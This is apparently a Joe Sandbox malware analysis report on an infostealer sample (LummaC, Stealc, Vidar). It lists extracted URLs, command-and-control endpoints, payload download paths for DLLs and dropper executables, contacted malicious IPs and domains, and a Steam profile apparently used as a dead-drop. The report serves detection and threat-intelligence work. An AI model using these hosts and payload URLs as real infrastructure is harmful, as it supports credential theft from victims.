https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://s.ytimg.com;	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://gravvitywio.store:443/apipp	RegAsm.exe, 0000001A.00000002.3191512945.0000000001243000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exeU	RegAsm.exe, 00000020.00000002.3616544001.0000000027928000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllP	RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://49.12.197.9/sqlp.dllXO	RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://abnomalrkmu.site/api2	RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dlln	RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://questionsmw.store/apiz	RegAsm.exe, 00000031.00000002.3383832619.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9JJECAK	RegAsm.exe, 0000002F.00000002.3439409998.0000000000563000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.entrust.net/rpa03	66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	KFHJJJKKFHIDAAKFBFBF.32.dr	false		unknown
https://iplogger.org:443/1nhuM4.js2b67ac065cc	RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000020.00000002.3589481722.000000000160F000.00000004.00000020.00020000.00000000.sdmp, DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.org/C4	RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://lv.queniujq.cn	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://cdn.ep	RegAsm.exe, 00000020.00000002.3589481722.000000000160F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://49.12.197.9/Bn$	RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/	RegAsm.exe, 00000003.00000002.2395951419.00000000012D5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.DBKKFIEBKEHD	RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.google.com/recaptcha/	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://ipinfo.io/https://ipgeolocation.io/::	66fb252fe232b_Patksl.exe, 00000000.00000002.2293869752.0000000003A55000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	false	URL Reputation: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.33	RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9DHDGII	RegAsm.exe, 0000001D.00000002.3626123161.0000000000584000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://49.12.197.9s.exe	RegAsm.exe, 0000002F.00000002.3439409998.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
http://41.216.188.190:80/api/wp-ping.php	RegAsm.exe, 00000003.00000002.2395951419.000000000126D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://49.12.197.9/ows	RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9BFBKEG	RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://iplogger.org/	RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.0000000001302000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://recaptcha.net/recaptcha/;	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869/inventory/	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false		unknown
http://cowod.hopto.EBKEHD	RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://ipgeolocation.io/	RegAsm.exe	false		unknown
https://steamcommunity.com/L	RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllz	RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpuments	RegAsm.exe, 00000020.00000002.3589481722.000000000162F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://broadcast.st.dl.eccdnx.com	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000151F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://41.216.188.190/api/wp-ping.php	RegAsm.exe, 00000003.00000002.2395951419.000000000126D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.000000000122A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/sqlp.dllJ	RegAsm.exe, 00000007.00000002.3153652964.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/Q	RegAsm.exe, 0000002F.00000002.3445776825.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.co	RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/ts1ca.crl0	66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false		unknown
https://login.steampowered.com/	RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
https://49.12.197.9/&=	RegAsm.exe, 0000002F.00000002.3445776825.000000000159D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109X	RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9pData	RegAsm.exe, 0000002F.00000002.3439409998.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000584000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000063A000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----CGHDAKKJJJKJKECBGCGDefault-release	RegAsm.exe, 00000020.00000002.3584946793.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	false		unknown
https://chorusarorp.site/api	RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869	76561199780418869[1].htm.47.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
49.12.197.9	unknown	Germany	24940	HETZNER-ASDE	true
104.21.21.3	mysterisop.site	United States	13335	CLOUDFLARENETUS	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.21.56.150	abnomalrkmu.site	United States	13335	CLOUDFLARENETUS	true
104.26.3.46	iplogger.org	United States	13335	CLOUDFLARENETUS	false
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true
104.21.77.132	questionsmw.store	United States	13335	CLOUDFLARENETUS	true
104.21.84.18	treatynreit.site	United States	13335	CLOUDFLARENETUS	true
104.21.18.193	snarlypagowo.site	United States	13335	CLOUDFLARENETUS	true
172.67.177.186	absorptioniw.site	United States	13335	CLOUDFLARENETUS	true
41.216.188.190	unknown	South Africa	40676	AS40676US	false
188.114.96.3	soldiefieop.site	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
104.21.16.12	gravvitywio.store	United States	13335	CLOUDFLARENETUS	true
173.231.16.77	api64.ipify.org	United States	18450	WEBNXUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524230
Start date and time:	2024-10-02 17:14:44 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	66fb252fe232b_Patksl.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@49/65@18/17
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 74% Number of executed functions: 50 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, tse1.mm.bing.net, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 66fb252fe232b_Patksl.exe

Simulations

Behavior and APIs

Time	Type	Description
11:16:35	API Interceptor	6x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
49.12.197.9	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
104.21.21.3	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
treatynreit.site	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.84.18
	kuly.exe	Get hash	malicious	LummaC	Browse	104.21.84.18
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse	104.21.84.18
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse	172.67.184.196
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.184.196
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.21.84.18
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.184.196
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.84.18
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.84.18
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.184.196
cowod.hopto.org	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
mysterisop.site	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.21.3
	kuly.exe	Get hash	malicious	LummaC	Browse	172.67.195.67
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse	104.21.21.3
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse	104.21.21.3
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.195.67
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.195.67
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.21.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.195.67
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.21.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.195.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://tqaun.us12.list-manage.com/track/click?u=fb0a5f04fa3c936488ff652c3&id=d22699c399&e=ce0a629e2e	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://view.flodesk.com/emails/66fd2053af85c99dd55d1461	Get hash	malicious	Unknown	Browse	172.67.155.97
	https://546546546.pages.dev/qweqr?msharing=service@jpplus.com	Get hash	malicious	HTMLPhisher	Browse	172.66.47.133
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	SCANNED COPY.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Price Request 02.10.24.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	doc_20241002_383767466374663543.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	AvQTFKdsST.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.26.13.205
	https://svsjie.us9.list-manage.com/track/click?u=65baddd8dc4a29452f1a28eb2&id=dde4f4d149&e=6d04ecfe32	Get hash	malicious	Unknown	Browse	104.18.69.40
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	5ndBtx7pRX.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	5ndBtx7pRX.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	GoogleInstaller.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
